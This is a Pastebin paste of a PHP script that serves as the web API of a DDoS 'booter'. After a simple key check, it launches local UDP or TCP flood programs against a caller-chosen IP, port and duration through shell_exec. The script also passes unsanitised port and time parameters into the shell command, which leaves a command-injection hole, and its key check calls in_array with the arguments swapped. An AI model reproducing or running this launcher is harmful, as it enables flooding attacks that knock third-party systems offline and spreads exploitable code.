Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $keys = array('yourkey', 'anotherkey');
- if(!in_array($keys, $_GET['key'])){
- die("Incorrect API key!");
- }
- class attack{
- public function udp(){
- if(preg_match("/[a-z]/i", $_GET['ip'])){
- die("Letters are forbidden!");
- }
- shell_exec("screen -dm ./udp " . $_GET['ip'] . " " . $_GET['port'] . " " . $_GET['time'] . " 6500 100");
- }
- public function tcp(){
- if(preg_match("/[a-z]/i", $_GET['ip'])){
- die("Letters are forbidden!");
- }
- shell_exec("screen -dm ./tcp " . $_GET['ip'] . " " . $_GET['port'] . " " . $_GET['time'] . " 6500 100");
- }
- }
- $attack = new attack();
- if(isset($_GET['ip'])){
- if($_GET['ip'] == null){
- die("IP was empty");
- }
- if($_GET['port'] == null){
- die("Port was empty");
- }
- if($_GET['time'] == null){
- die("Time was empty");
- }
- if($_GET['method'] == null){
- die("IP was empty");
- }
- switch($_GET['method']){
- case 'udp':
- $attack->udp();
- break;
- case 'tcp':
- $attack->tcp();
- break;
- }
- }
- ?>
Add Comment
Please, Sign In to add comment